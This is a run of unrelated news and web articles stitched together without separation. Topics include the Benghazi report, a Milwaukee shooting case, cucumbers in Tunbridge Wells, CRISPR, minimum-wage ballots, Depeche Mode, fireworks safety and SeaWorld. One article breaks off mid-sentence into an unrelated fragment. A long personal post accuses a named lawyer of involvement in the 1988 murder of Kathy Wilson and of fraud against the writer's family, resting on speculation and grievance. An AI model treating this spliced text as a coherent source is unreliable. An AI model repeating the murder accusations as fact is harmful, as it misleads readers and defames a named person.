In a separate statement within the report, Mr. Pompeo, Kansas Republican, and Rep. Jim Jordan, Ohio Republican, said they found a “tragic failure of leadership,” both in the run-up to and on the night of the attack.
They also found “an administration that, so blinded by politics and its desire to win an election, disregarded a basic duty of government: Tell people the truth.”
“Although we answered many questions, we could not do so completely,” they said.
The two congressmen said officials at the State Department, including Mrs. Clinton, who was secretary of state at the time, learned almost in real time that the assault was a terrorist attack, but with an election coming up chose first to publicly blame it on a protest over a U.S.-produced, anti-Muslim video.
The attack claimed the lives of four Americans: Ambassador J. Christopher Stevens, State Department employee Sean Smith, and security contractors Glen Doherty and Tyrone Woods.
Perhaps most notably, the panel prodded Mrs. Clinton into acknowledging the existence of her secret email server in March 2015 — an issue that haunted her presidential campaign.
Meanwhile, Rep. Elijah E. Cummings of Maryland, the ranking Democrat on the panel, said history will view the select committee as a prime example of how not to conduct a congressional investigation, saying it goes down as “one of the longest, least productive, and most partisan taxpayer-funded investigations in history.”
“Republicans voted on this partisan report five months ago, but delayed filing it and completing the committee until after the election,” Mr. Cummings said. “Republicans promised a process that was fair and bipartisan, but the American people got exactly the opposite.”
Mr. Gowdy and congressional Republicans consistently defended the investigation, saying the Obama administration rebuffed their requests for information and that it was worth examining the run-up, the event itself, and the aftermath in order to discover new ground missed by other congressional inquiries.
Democrats had approved their own report in June saying that the evidence obtained by the select committee confirmed core findings from other investigations, while allowing that the panel acquired additional contextual details about the attack.
They also said the exercise was a thinly-veiled attempt at undermining Mrs. Clinton’s candidacy, pointing to House Majority Leader Kevin McCarthy’s seeming to link the committee to Mrs. Clinton’s fading poll numbers in a Fox News appearance last year.
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MILWAUKEE -- The gun that was used to shoot and kill five-year-old Laylah Petersen may have been used in several other shootings that same day -- November 6th, 2014. Prosecutors say several other kids were nearly killed as well.
Three men have been charged in the shooting death of Laylah Petersen. Their arrests and the charges filed against them were announced Tuesday, October 20th by Milwaukee Police Chief Ed Flynn.
But there was a fourth man -- a man who hasn't been charged in this case, who was there when Laylah Petersen was shot while sitting on her grandfather's lap in a home at 58th and Fairmount.
Prosecutors say this man used the weapon that was used to kill Petersen in his own shooting spree.
LaToya Whitney tells FOX6 News nearly one year ago, she nearly lost four of her children.
"They was all in there watching TV, and the next thing he heard was 'pow, pow, pow,'" Whitney said.
A neighbor says bullets were sprayed into the building. Miraculously, no one was hit.
Nearly five miles away, on the same day (November 6th, 2014), bullets pierced the home Laylah Petersen was in. The little girl was shot in the head, and pronounced dead at the hospital.
The three people charged in this case are: 24-year-old Paul Farr, 20-year-old Carl Barrett and 23-year-old Arlis Gordon. Police say Farr and Barrett were arrested on October 14th in Milwaukee. Gordon was arrested in suburban Chicago on October 17th on unrelated charges.
Farr has been charged with two counts of harboring/aiding a felon. Barrett and Gordon have both been charged with first degree reckless homicide–party to a crime.
The criminal complaint indicates the shooting of Laylah Petersen occurred on the same day a man was acquitted in a homicide trial in Milwaukee County. The complaint says the victim in that homicide case was the brother of Arlis Gordon.
Police say following the verdict, Gordon was "very upset," and that he stated: "He killed my brother and he's getting out! This can't be going on. I'm gonna do something about it."
The complaint points out there was a fourth person with Gordon, Barrett and Farr on the night Petersen was shot.
22-year-old Divonte Forbes was seated in the backseat of a vehicle the men had stopped in the area of 58th and Fairmount -- when Gordon indicated he needed to get out and pick something up.
Again -- Forbes has not been charged in connection with Petersen's death.
Legal experts call Forbes the "key witness" in this case -- with plenty of reason to cooperate with the prosecution.
He's facing 13 felony charges for a series of shootings he described as a "killing spree" aimed at relatives of a man Forbes had a feud with.
In the hours before and after Petersen's death, Forbes is accused of spraying bullets -- including into the home near 10th and Meinecke, nearly killing LaToya Whitney's children.
Prosecutors say Forbes then gave the firearm to Gordon -- and that he was in the vehicle when the shooting of Laylah Petersen happened at 58th and Fairmount.
Attorney Jonathan LaVoy, who isn't involved in this case, says it's not likely Forbes will be charged in Laylah Petersen's death.
"He wasn't driving the vehicle. It didn't appear he was acting as a lookout or doing anything affirmative to involve himself in the actual homicide," LaVoy said.Get the biggest Daily stories by email Subscribe Thank you for subscribing See our privacy notice Could not subscribe, try again later Invalid Email
The phantom cucumber abandoner of Tunbridge Wells has been stopping people in their tracks with one witness asking if the weird trail has meaning for the town.
Cucumbers have been found on the pavements, on top of a pedestrian crossing signal - and in the most bizarre discovery to date - impaled on a railing in the town, prompting a photograph of the "cucumber murder".
And the strange phenomenon has not gone unnoticed, with people photographing their unexpected sightings and asking the simple question, "why?"
The last documented discoveries were a fortnight ago in Goods Station Road and in the stairwell of a public car park off Upper Grosvenor Road.
But the first recorded discoveries were more than two years ago.
Town resident Matt Goddwin, 45, who has seen many deserted cucumbers across Tunbridge Wells, said: "I believe there’s a good chance that they are harbingers of change sent from another dimension."
While Jessica Sharville from Brighton said after three separate incidents, said: "Dropped cucumber in Tunbridge Wells, near where I saw one on a fence once. Mystery cucumber abandoner on the loose."
Matt Goodwin has seen evidence of the phantom cucumber abandoner all over town and even in Tonbridge.
He told Kent Live: "The first one I spotted was lurking menacingly on the pavement outside The Warren Restaurant just before it opened.
"Pedestrians were stepping over or swerving prams around it. No one would dare acknowledge its existence."
poll loading Why are cucumbers being abandoned across Tunbridge Wells? 0+ VOTES SO FAR They are mystery portents from another dimension and we must decode their meaning They have dropped through a hole in a shopping bag
Just two weeks ago in Tunbridge Wells
"I've also seen one on Goods Station Road a few Sundays back and on the stairwell of the Meadow Road multi-storey."
Also seen in Tonbridge
Mr Goodwin added: "Spotted in Tonbridge, on Springwell Road and another outside the Foresters Arms. I believe there’s a good chance that they are harbingers of change sent from another dimension. Or even fallen out of someone’s grocery bag."The popularity of Blu-ray players appears to be rising, just a year after doubters predicted that the devices -- which launched three years ago for $800-$1,000 each -- would fade into oblivion because of their marginal improvement over standard DVD players.
Much of that negative thinking has changed, and as you might expect, it has a lot to do with the plummeting cost of buying a Blu-ray player.
Blu-ray Price Drop One of Many in Tech Market
When the devices first launched three years ago, many cost nearly $1,000 -- a lot of money for most U.S. families, even in a pre-recession North America. Compounding that concern over price was the fear that rival high definition video format HD-DVD might |
of someone we should interview, please get in touch, we’re always looking to promote people doing interesting things with open geo data.Imagine being able to eliminate cancer cells from a patient’s body altogether, or grooming bigger cows that give you double the meat (or milk). Imagine curing blindness. Thanks to the CRISPR revolution, all this and more, is now possible.
CRISPR is a segment present in the genetic code of prokaryotic organisms. Humans have eukaryotic cells – so what’s the relevance here? CRISPR is deserving of all its hyped because it allows us to modify the genetic code of almost any organism.
The first connection to what can be now termed and considered as CRISPR originated in Osaka University in Japan in 1987 and was a very fortunate accident. CRISPR was cloned accidentally with the iap gene. In 2007 the first experimental evidence was finally published and it was used medically, paving the way for what we now call a revolution.
What is CRISPR?
CRISPR is an acronym for Clustered Regularly Interspaced Short Palindromic Repeats, and is a genomic tool that has been discovered in it’s full potential not too long ago. Biotechnologists believe this tool could create a revolution on genetic modification and gene editing. Apart from its deep-based uses, it is also inexpensive, economic, brisk and not very difficult to use – allowing biotechnologists to simply ‘cut’ genes with very high precision. Result? We get to remove what we don’t like, and enhance what we do. Think designer babies.
Also Read: The Social Impact of Genetic Manipulation
Cas is an acronym for CRISPR Associated Sequence. These two areas are adjacent to each other on the genome. CRISPR and the Cas work together and are expressed together as well, due to their proximity on the physical level. The Cas proteins are numbered as Cas1, Cas2 and so on. Some of them have complex purposes – such as attacking the growing DNA to incorporate it into the CRISPR area. This regular incorporation helps curb bacterial cells and destroys them if they attempt to turn up recurring times. However, what we’re dealing with here is much more revolutionary and powerful than just a virus-wrecking structure. It is now predominantly used as a method for genetic editing.
Why CRISPR?
Due to it’s inexpensive and easy and quick to use nature, it is widely used by labs. It is a lot of power that has been bestowed on upon biologists. As Senior System Biologist of Stanford University, California has rightly said “The power is so easily accessible by labs – you don’t need a very expensive piece of equipment and people don’t need to get many years of training to do this. We should think carefully about how we are going to use this power”. For that matter, we have already rampantly started using this power given onto us.
From 2011 onwards, interest in CRISPR has only been growing and as of 2014, a research revolution has engulfed this tool. With 1300+ Publications mentioning CRISPR/Cas, 150+ Patents mentioning CRISPR/Cas and 80+ focus projects with a funding of over 160 million dollars, clearly an unprecedented amount of potential has been seen in CRISPR.
How does CRISPR work?
The CRISPR/Cas9 System consists of two fundamental molecules that introduce the desired change into the DNA. The CRISPR sequences are rewritten onto a brief RNA sequence. They try to find out any matching sequences of the DNA. When finally a certain match on the DNA is found, Cas9, the enzyme produced by CRISPR binds itself to the DNA and chops the targeted DNA to introduce the new bits of DNA. Recently, researchers have begun using activated genes to study the gene’s function.
We also have a guide RNA that has a 20 base long sequence located within the larger RNA area. This binds the RNA sequence to the DNA and is necessary to ensure that the cas9 enzyme cuts the genome at the right point. The guide RNA will only bind itself to the target sequence in the genome only.
Related: Precision Medicine – The Ultimate Cure?
Gene Hacks already carried out by CRISPR:
Several Medical Breakthroughs have already been achieved through CRISPR and many more are still being tried and tested out with optimistic expectations.
One such Achievement is the treating of muscular dystrophy. Muscular dystrophy refers to slow muscle degeneration that ultimately leads to fatal death. Researchers successfully treated muscular dystrophy in lab mice in January 2016, using CRISPR to cut and repair the dystrophin gene.
We can also make buffed up goats and cows using the same technology. This offers wide ranging benefits to to cattlemen or people who engage in animal husbandry. Buffed up animals mean more meat from them and a greater amount of milk from the cows. Chinese scientists used it to delete the genes that stop their muscle and hair growth in goats. This has successfully expanded China’s commercial meat and wool industries alongside the livestock and agriculture industries
The Harvard Medical School too recently decided to use this tool for a life saving experiment. The complex CRISPR model was used to edit 62 genes in a pig cell, making its organs suitable to human transplant.
We’re also seeing applications on the treatment of HIV as well. CRISPR can get rid of the virus’ DNA from the patient’s genome. The biggest challenge for HIV patients however, has always been to locate HIV DNA in the dormant cells.
Related: Liquid Biopsy to Improve Cancer Diagnosis & Prognosis
With the onset of the CRISPR revolution, biologists have also come up with the idea and propagated the idea of super plants. Researchers have experimented to find a way to improve crop disease resistance and stress tolerance. A team of researchers from Rutgers University, New Jersey have found a way to genetically modify wine grapes and turf grass so that this can be implemented in a variety of other crops as well. The grapes will be modified so that they can withstand fluffy and feathery fungus. Scientist are working harder to provide new stronger and heartier crops to supplement the agricultural industry.
CRISPR can even be used to treat and cure blindness. So far, the mutation has been tested on lab mice. Retinitis pigmentosa, a disease that ultimately leads to blindness was successfully removed from mice. A single injection of CRISPR gave their eyesight better clarity and view than a control group. Similar techniques on humans are in the pipeline.
The Downsides
CRISPR/Cas is the newest kid on the block, the revolutionary superpower, a tool every biologist is carefully treating as his own child. It is powerful, quick and not surprisingly, having to face resistance from quarters anxious about its potential. It’s ability to rewrite the helix and allow human species to make self directed genetic leaps has drawn a mix of confusion on the form of devotees and detractors.
It’s true – CRISPR does not come without its share of downsides. A relatively small (but nonsignificant) portion of the time, the nucleotides that guide the CRISPR/Cas complex into position on the target DNA, end up binding to a sequence that they don’t actually complement. So you get an insertion at a place in the genome that you didn’t want. It’s rare enough so you can use it to make desired mutants from research animals, but it is also higher than our tolerance level when treating humans with it. You don’t want to edit a living person’s genome to cure a disease and cause something like cancer. Off target sequences caused during replacement sequences are possible and they may well cause an undesired effect. CRISPR is getting better and continues to evolve from its experimental stage – but that’s what it is right now – experimental. The same test on repetition may give different outcomes – so there’s still a good amount of research we need to conduct here.
CRISPR has rapidly caught the attention of the global media and several corporate biotech firms. A major fear of most scientists is the industrialisation of the technique before we have a good and steady hold over it.
Despite all the hesitation on CRISPR, the tool has been incredibly promising and research and applications regarding it have too been flourishing well. Multiple firms have already begun commercialization. Like it or not, CRISPR is going to enjoy celebrity status in the industry in the near future at the very least.The murder of Kathy Wilson; she disappeared on May 18th. Kathy Wilson of Jamestown, NY disappeared on May 18th, 1988, twenty three years ago. She was a mother of three. She went to work, went to lunch and then never came back. A year and a half later, her skeletal remains were found by kids playing in the woods of Lander, Pennsylvania, twenty miles from her home. Two men were tried for her murder. William Jay Buckley was then 38 and Michael Brown was 17. The trial was based on her being abducted for the purpose of rape and theft; with the idea that she was murdered on the same day she disappeared. A jury found both men not guilty of any charges. A man saw Kathy Wilson alive in Lander a few days after May 18th. A recent statement brings new insight into what really happened. National TV reports had people looking for her across the nation- with no luck, no solid reports. Now, a Lander, man says he saw a woman he absolutely believes to have been Kathy Wilson, alive in Lander; a few days after her disappearance. She was at his neighbor's home. He says he stood three feet from her; says she was “beaten badly”. The neighbor was a man who later went to prison for drugs and homicide. The man who saw her was threatened not to talk; he feared for his family. Then, a year and a half later, Kathy Wilson's remains were found about a mile away from the trailer where he saw her. On that same day- he watched the neighbor burn everything he owned. The neighbor dragged every piece of furniture, every belonging out of the trailer, into the backyard and lit it up like a 'football field'. Then at 5:30 in the morning, the neighbor left and was gone for several years. After he left, this man went to authorities and told them what he saw. The authorities thought they already had their man; and didn't listen to him. Three sightings makes sense... all after May 18th. Now, his statement makes sense. There had been two other sightings of a woman, in a full sized van in Lander, trying to get the attention of passing cars, at about that same time. Those sightings were taken into the record at trial as sworn testimony. Attorney Barry Smith said the sightings didn't make sense- as he questioned the date of the sightings- as they may have been after May 18th. Barry Smith was right; the sightings WERE after May 18th. Now, those sightings make sense, too. Three sightings at the same time, of a woman in distress, and of a full-size van make a strong connection that she was in Lander; then; seen in the same area where her skeletal remains were later found. She was transported in a van and seen at the home of a murderer, a few days AFTER she disappeared. Barry Smith had to say the sightings were wrong; and showed they may have not been on May 18th; as rape and theft would have occurred on May 18th, the day Kathy Wilson disappeared. Rape and theft is shown to have NOT been the motive; and that Kathy Wilson's captors were more than Buckley and Brown. There were others. The Lies of young Michael Brown. The many testimonies of Michael Brown were used in order to arrest and attempt to convict William Jay Buckley for rape, theft and murder of Kathy Wilson. But Michael Brown cleverly lied under oath, 767 times. His testimonies could not be trusted. The case against Buckley shriveled and died; as the lies of Brown could not be separated from the truth. Michael Brown made many statements with gruesome clarity. One among those was that Buckley had, and used a camera. If everything Brown said was a lie, to incriminate Buckley of rape and theft; why would he mention a camera, as a camera makes sense for proof of abduction and then proof of death? The Bible says “The Devil mixes truth with lies.” It seems clear that truth was mixed with lies in the failed trial for the Wilson murder. Murder for hire; NOT rape and theft. The three sightings add up; and change the reason for her abduction and murder from “rape and theft”; to “murder for hire”. The difference is unquestionable. New questions for motive have to be considered. And new suspects- or, rather, OLD suspects must be brought into question. Chris T. Brunea was ordered to leave the Wilson home on May 17th; the day before Kathy Wilson disappeared. A man was thrown out of Kathy Wilson's home the day before she disappeared. Chris T. Brunea was the EX-best friend of Mark Wilson, Kathy Wilson's husband. At trial, Investigator Detective Welch testified that Mark Wilson ordered his ex-best friend, Chris to leave the Wilson home, on May 17th, 1988. Attorney Barry Smith: “...Mark Wilson kind of scared to let him in the house?...” Detective Welch: “They let him in, but Mark told Kathy … don't let him in when I'm not there...”. Mark Wilson was seen angry at a baseball game on May 17th. Testimony of a husband and wife described Mark Wilson as “glaring” at his wife Kathy for 15 or 20 minutes straight, at a baseball game for their daughter, on May 17th, 1988. From the testimonies: “...It was a look that has haunted me since Kathy disappeared..” “...the coach... thought something was going to happen..”. Motive. If Kathy Wilson's murder was murder for hire; who had a motive? According to those testimonies at trial, Mark Wilson was angry at his wife Kathy, the day before she disappeared. The two people with possible motive are Kathy's husband, Mark Wilson, but even more so, Chris T. Brunea, the man who Mark ordered to leave the Wilson home; and who Mark told police investigators that he had warned Kathy “don't let him in when I'm not here.”. That event occurred the day before Kathy Wilson disappeared and was taken to the home of a convicted murderer. There's the point to begin. Not rape and theft; since no money was taken; and when she was seen alive, days after being abducted. Murder for hire makes sense. The Fight Or Run website exists for a reason. The fight or run website exists because of fraud brought upon my family, some twenty years after Kathy Wilson was murdered. That fraud against my family and I was created and perpetuated by the man who was the NUMBER ONE SUSPECT for the abduction and murder of Kathy Wilson. That man is Chris T. Brunea, Esq. Mr. Brunea is a lawyer in Western New York. Instead of being a suspect, investigators, who were his friends, called him a “self-proclaimed psychic, who knew a little too much”. Chris T. Brunea fell through the cracks in the investigation; he was never considered or mentioned in any part of the case. No prosecution ever occurred against Mr. Brunea. All these years have passed without attention being given to Mr. Brunea's pieces of the puzzle in the Kathy Wilson murder. We don't know whether what he presented to investigators was meant to help solve or to mislead the investigation, as obstruction of justice. It has been said that “a Zebra doesn't change its stripes”. Come forward, Mr. Brunea; tell us what you know. I am personally asking Mr. Brunea to go to police and “fill them in” with his views and knowledge of the Wilson murder. It is clear that with the new knowledge of Kathy being alive AFTER she disappeared, investigators can weigh Mr. Brunea's story with new relevance. I will personally listen very closely to Mr. Brunea's words.
Relating Mr. Brunea then to Mr. Brunea NOW. Mr. Brunea may be a “self-proclaimed psychic'. Mr. Brunea's purposeful and intentional attacks on my integrity and reputation for five years have NEVER ONCE been perceived as writings of a “psychic”; Even though the frivolous suit he brought with nonsense of my purported theft of five million dollars that did not exist were quickly seen as folly by his peers. The lies my 92 year old, quadriplegic father was told, that were then supported by the psychic Mr. Brunea and written into orders of law have been in place for five years. Orders of protection written against me; assets taken from my family, my father taken from my mother; our home taken and sold illegally; were all based on the acts of Chris T. Brunea to put words into the mouth of a weak, dying man; who had already been evaluated as lacking mental capacity. My father was not legally able to sign any documents that Mr. Brunea put before him. Yet, the courts upheld all acts Mr. Brunea took as if they were not the sayings of a “self-proclaimed psychic”; but as if they were the words of an Officer of the Court; Approved to practice Law in the State of New York; With full support of his law-friends; Who all stood to gain from the attack Mr. Chris T. Brunea, Esq. made on the Maecker family. And; gain, they did; all at our loss. Purpose. That is my purpose here; my ONLY purpose. I do not personally care who physically killed Kathy Wilson. I do not personally care who hired her murder. I DO personally care that an Officer of the Court KNOWS what happened to Kathy Wilson; and that he has not come forward with that knowledge. And I care that that same man many years later brought havoc and disaster upon a hard-working middle class family who have long contributed to their community. I ask for YOUR HELP; In bringing the murderers of Kathy Wilson to justice; and for your help in finding Justice for my own family; as we have been caught in the web of fraud and lies that Mr. Brunea brought upon us. Those are my only interests. FIGHT; OR RUN. What I've said here and everywhere on the site is truth. Anyone who wants to silence that truth, I invite you to take me to court. I invite you to openly discuss the things I said here. I believe you WILL NOT. Because then you will be exposed for the very things I'm exposing here. So, Mister Brunea, Fight. or... run. The Maecker Story Despite my exposing the lies Mr. Brunea brought to the Courts about me, no investigation of his acts against my family have ever occurred either. What I have presented here is for the purpose of exposing fraud in the cases before our Courts, for my family. Mr. Brunea lied about me.
He presented those lies to the Court, and, though his lies were shown to be lies, they have never been undone. All actions against my family and I have continued without regard for justice. The Court has reacted by supported all of the fraud against my family. A million dollars of waste has blown away everything my family has ever worked for;
the ONLY ones who have benefitted from the waste is the crooked lawyers and Judges. What I have learned now, after five years of punishment for things I never did- is that this same course of events is happening all over our country.
There are certain formulas that exist;
Certain ways fraud occurs;
Certain ways it is covered;
and always the same outcomes;
where families are torn apart by courts;
by fraud and lies, showing the families as dysfunctional and 'bad'.
Then lawyers swoop in and take what they want;
which is almost always cash; liquidation for cash;
and real estate and assets. This is real;
not imagined;
not the words of a 'complainer.' It is rampant and unjust. At the core are criminal lawyers (LawRats) with the protection of Judges who will support them at any cost. Chris T. Brunea destroyed me, destroyed our home; destroyed my family; my partnership with NASA;' my Bed and Breakfast; with the support of the Courts and his LawRat brethren. I am here to show you evidence that Mr. Chris T. Brunea was involved in some way with the disappearance and murder of Kathy Wilson.
Mr. Brunea is an officer of the Court.
His statements under oath should be listened to carefully;
VERY carefully. Mr. Brunea is not a psychic;
Mr. Brunea HAS knowledge.
His connections to the Courts, Prosecutors and Investigators must be put aside,
while we learn the truth of what happened on May 17th, 1988;
in the Wilson home;
the day before Kathy Wilson disappeared, and never saw her three children again. I ask for you attention to this.
I am presenting in the best way I know how;
with text here, to outline the story as it appears to be;
and with movies on YouTube, and embedded into www.fightorrun.com The longer movies have facts, presented slowly.
The faster movies present the concept to be addressed. It is my sincere hope that Mr. Brunea will come forward top the world, with his 'knowledge';
and fill us in on what really happened to Kathy Wilson. Then, it would bring me great pleasure to hear Mr. Brunea tell the world that he filled my dying father's head with lies about me; along with his clients, my estranged half brother I had nearly never met, and his agents, the business consultant and my own employee, as caregiver for my dying father. That's the goal;
JUSTICE;
brought about by facts;
presented in a way that could have never happened even a year or two ago. Brought to you, the people;
by the magic of cameras, computers and the internet. I hope you'll watch with interest as the story unfolds.
And come to Fight Or Run dot com, to see the editing system the Courts have used at least twice in my family's case;
in order to avoid Jury Trial; for my innocence;
and to avoid exposure of thirteen crooked lawyers and four crooked judges. Am I perfect?
ABSOLUTELY NOT.
Am I telling the truth?
ABSOLUTELY. Thanks for your interest;
I hope you'll take up the torch-
to make America the great place we were raised to believe it is. We can make it great again.! Sincerely, Bill Maecker GOD BLESS AMERICA!DENVER — Congress’ inaction on the $7.25 hourly minimum wage is again playing out on state ballots, with voters in four states considering an increase and another considering wages for the youngest workers, even though the states already exceed the federal. In some cases voters are also deciding whether to add sick-leave policies to help the working poor.
The ballot proposals in Arizona, Colorado, Maine and Washington come two years after voters in five other states passed minimum-wage hikes. South Dakota voters are taking a second crack at wages, two years after raising them to $8.50 an hour.
Is it a slam dunk that this year’s measures will pass, too? Maybe. Even the classic opponents to a higher minimum wage — restaurant associations and small-business groups — are running muted campaigns to oppose the wage measures.
“It almost always passes when it gets on the ballot,” said Jerold Waltman, a political scientist at Baylor University who has written extensively about minimum wage and politics.
“Most Americans have a fundamental sense of fairness, that if you work, you ought to make enough to make a living wage on. Democrats and Republicans seem to agree on this.”
Four of the wage measures are only slightly different. Arizona, Colorado and Maine are considering phased-in $12 hourly minimum wages by 2020. In Washington state, where the minimum wage is $9.47 an hour, voters are considering a higher minimum wage, $13.50 an hour by 2020. The measures in Arizona and Washington also require employers to give paid sick leave.
Voters in South Dakota are looking at the minimum wage for the second time in as many years. They will consider a so-called “referred law” to overturn a state law passed in reaction to a 2014 vote raising the minimum to $8.50, with the wage pegged to inflation.
South Dakota lawmakers lowered the minimum wage to $7.50 for workers under 18, with no inflation adjustment for those youngest workers. The ballot measure asks voters to choose between keeping lawmakers’ approach to younger workers, or requiring higher wages for all working teens.
The campaigns are talking about folks like Mayra Pride in Colorado, a 25-year old mother of three. Born and raised in Denver, Pride and her husband are considering moving after the birth of a fourth child because they can’t make ends meet on his pay for landscaping and construction jobs.
“It’s not close to enough,” Pride said after a recent shopping trip to a discount store that sells cheap toiletries and paper goods. “We pay over $1,000 a month rent. That basically eats it all up. We can’t afford anything else sometimes.”
Opponents of the wage campaigns are trying a nuanced approach, opposing not higher wages but how the measures are worded.
In Colorado and Washington, for example, the opposing campaigns are arguing that minimum wages should be lower in rural, lower-cost areas.
“It’s not the cities, the big businesses that are going to suffer,” said Tyler Sandberg of Colorado’s wage opposition campaign, called Keep Colorado Working. “A big corporation in Denver is going to be treated the same as a small mom-and-pop business” in a small town, he said.
In Maine, opponents are also talking about a provision in that state related to restaurant servers and other tipped employees. The measure would gradually repeal a law permitting an employer to take a tip credit toward its minimum wage obligation for tipped employees.
“We believe it is time the minimum wage in Maine does need to go up, but it needs to be something and more reasonable and sustainable for small employers,” said Peter Gore of the Maine State Chamber of Commerce, which says the wage should be $10 an hour, with a continued tip credit.
Labor unions support the wage hikes and want South Dakota voters to reject the law lowering wages for workers under 18. In many states they have enlisted clergy members and other advocates for the poor to their side.
“The ballot measures are part of a much bigger picture and a much larger message from workers that they can’t get by on the minimum wage,” said Laura Huizar, staff attorney for the National Employment Law Project, which favors raising the wages.
What’s less clear is whether minimum-wage ballot measures raise voter turnout overall, or change the prospects for one party or another.
“It certainly doesn’t hurt turnout, but if you take surveys, even a vast majority of Republicans support raising the minimum wage,” Waltman said.
And the growing list of states that have raised wages from the $7.25 federal minimum, in effect since 2009, don’t translate into national change, he said.
“If I’m a congressman from Alabama, what do I care that Colorado just raised the minimum wage? These state campaigns don’t have much influence on Congress,” Waltman said.First Watch: Depeche Mode, 'Heaven'
The English rock group Depeche Mode owned a chunk of the '80s and '90s with glossy electro-rock hits like "People Are People" and "Personal Jesus." These days the band doesn't have much to prove, and its members, who appear in this new video for the song "Heaven," seem to find themselves at peace, bathed in the radiant glow of light and love.
There's an almost-tender vulnerability revealed in this live performance, directed by Timothy Saccenti, perhaps because Depeche Mode's members are a little older now, captured in an intimate studio setting in black and white, without the sheen afforded by multiple layers of glitzy post production. But they also seem a little wiser, more reflective and comfortable in their skin. It's the perfect tone for a song about finding joy in our own mortality. "I will end up dust," sings frontman Dave Gahan. But, "I'm in heaven."
"Heaven" was written by Depeche Mode guitarist Martin Gore and is the first single from the band's upcoming album Delta Machine. Gahan tells us via email that the song is one of the reasons he still makes music. "It feels like putting on a pair of boots that I've worn for years, that I love. As soon as Martin played me the demo, I knew exactly what I wanted to do with it. It was one of those songs that I heard and I immediately knew that I wanted to perform it live in the studio. I could hear the sort of gospel backing that Martin ended up actually doing himself. With a song like 'Heaven,' we were very conscious about not over-working the musical elements so they distracted from the vocal, and the strength of the vocal and the vocal melodies."
Delta Machine is Depeche Mode's 13th full-length studio release. It's due out March 26.The belief that a person’s weight is mainly linked to genetics and beyond individual control is a dangerous perspective, say researchers.
Experts explain that while the perception that DNA determines weight is highly debated, it appears to be shaping people’s lives.
In a new study, investigators discovered that those who believe that weight is outside of their control have a less healthy body mass index (BMI), make poorer food choices, and report lower levels of personal well-being than those who don’t.
The study findings appear in Health Education and Behavior, a Society for Public Health Education journal.
“If an individual believes weight to be outside of the influence of diet and exercise, she or he may engage in more behaviors that are rewarding in the short term, such as eating unhealthful foods and avoiding exercise, rather than healthful behaviors with more long-term benefits for weight management,” wrote study authors Drs. Mike C. Parent and Jessica L. Alquist.
“By fighting the perception that weight is unchangeable, health care providers may be able to increase healthful behaviors among their patients.”
Analyzing data from both medical and self-reported health measurements of 4,166 men and 4,655 women, the study authors found the following:
As people get older, the belief that weight is unchangeable and determined by DNA is associated with less healthy eating behavior. For example, as people age, they are less likely to examine food nutrition labels and to make fruits and vegetables available at home.
As people get older, the belief that weight is unchangeable is associated with less exercise.
As people get older, the belief that weight is unchangeable is associated with eating more frozen meals (e.g., pizza), restaurant meals, and “ready-to-eat foods” (e.g., deli foods).
“Although previous research has found gender differences in weight as a motivation for exercise and healthful eating, we did not find evidence that gender affected the relationship between health beliefs and physical activity or healthful eating,” wrote the study authors.
“However, we found evidence that the relationship between belief in weight changeability and exercise, healthful eating, and unhealthful eating differs by age.”
Thus, the belief that weight cannot be influenced by diet or exercise or any other behavior become a self-fulfilling prophecy.
Source: Sage Publications/EurekAlert
Overweight person sitting on steps photo by shutterstock.
Preconception of Body Shape is UnhealthyGovernment Blows Up Mannequins In Annual Plea For Fireworks Safety
U.S. CPSC YouTube
Independence Day is dedicated to patriotism, but celebrated with beer and explosives. So it might not be a shock that every Fourth of July, America sees a massive spike in fireworks injuries — especially among children and young men.
And every year, the Consumer Product Safety Commission engages in a noble, quixotic quest to persuade Americans to set off explosives more responsibly. CPSC does that by blowing up mannequins on the National Mall.
The demonstration emphasizes that fireworks are dangerous. Seriously dangerous. Blast-your-hand-off dangerous. Bottle-rocket-in-the-eye dangerous. Where'd-that-mannequin's-head-go dangerous.
The point, of course, is not that fireworks should be forbidden. The CPSC is striving to suggest that if you're using fireworks, you should try to be smart and safe — and not emulate the dummies on the Mall.
Acting chair of the CPSC Ann Marie Buerkle kicked off this year's demonstration, reminding Americans to keep a bucket of water or a hose handy any time they want to use fireworks.
And never, ever let children set off an explosion, she said.
Her other key points might seem self-evident, but get even-more-evident with an assist from an exploding mannequin. They include (we're paraphrasing):
Don't point fireworks toward other people.
If a firework fails to go off, don't try to relight it. And definitely don't crawl over for a closer look at what's wrong.
Don't try to make your own fireworks.
Professional fireworks are very powerful, which makes them very dangerous, which means they can very much kill you.
"Leave the professional fireworks to the professionals," Buerkle said, noting that they are illegal for consumers to use.
And, of course, the CPSC notes that you should follow local laws about where consumer-grade fireworks are permitted.
Fireworks will be off-limits in more places than usual this year, reports NPR's Howard Berkes: Federal fire managers have banned fireworks on public lands, citing a worse-than-usual wildfire season.
"The wildfire season doesn't usually kick into high gear until July," he says. "But the month began with 8,000 firefighters already deployed, close to 30,000 wildfires reported, and more than 2.7 million acres scorched."
Does watching dummy-demolition make you long for more fireworks videos? Check out two new videos from Skunk Bear — NPR's science video series — about how exactly fireworks, well, work.Former Orca Trainer For SeaWorld Condemns Its Practices
Enlarge this image toggle caption Courtesy of Palgrave Macmillan Trade Courtesy of Palgrave Macmillan Trade
Last year 4 million people visited SeaWorld's theme parks, where the top shows feature orcas, also known as killer whales. For years, activists have charged that keeping orcas in captivity is harmful to the animals and risky for the trainers who work with them, a case that gained urgency in 2010 when Dawn Brancheau, a veteran orca trainer, was dragged into the water and killed by a whale at the SeaWorld Park in Orlando, Fla. When Brancheau died, there was some dispute as to whether the whale's intent was aggressive and whose fault the incident was.
John Hargrove, who spent 14 years as an orca trainer, mostly at SeaWorld, says there was no doubt that the whale was aggressive. And the reason for whales' aggression, he says, is that they're held captive. Hargrove eventually became disillusioned with SeaWorld's treatment of orcas and left the company.
"As I became higher-ranked, I saw the devastating effects of captivity on these whales and it just really became a moral and ethical issue," Hargrove tells Fresh Air's Dave Davies in an interview about the book. "When you first start to see it, you first try to say, 'OK, well, I love these animals; I'm going to take care of them.'... You think, 'I can change things.' And then all these things, of course, never improve and then you start... seeing mothers separated from their calves; you start seeing trainers being killed, and then they blame [the trainers] for their own deaths."
He said his "final straw" was when SeaWorld publicly testified that "they had no knowledge we had a dangerous job."
The documentary Blackfish, released in 2013, covers Brancheau's death and an incident two months earlier at a theme park in Spain when an orca killed a trainer named Alexis Martinez. The federal Occupational Safety and Health Administration investigated Brancheau's death and concluded SeaWorld had exposed trainers to hazardous conditions; it fined the corporation. In its order, later upheld on appeal, OSHA also banned SeaWorld from permitting its personnel to enter the tanks to train and perform with orcas, a practice known as water work.
Now Hargrove has a new book, called Beneath the Surface. He is one of seven former trainers who criticized the company in Blackfish.
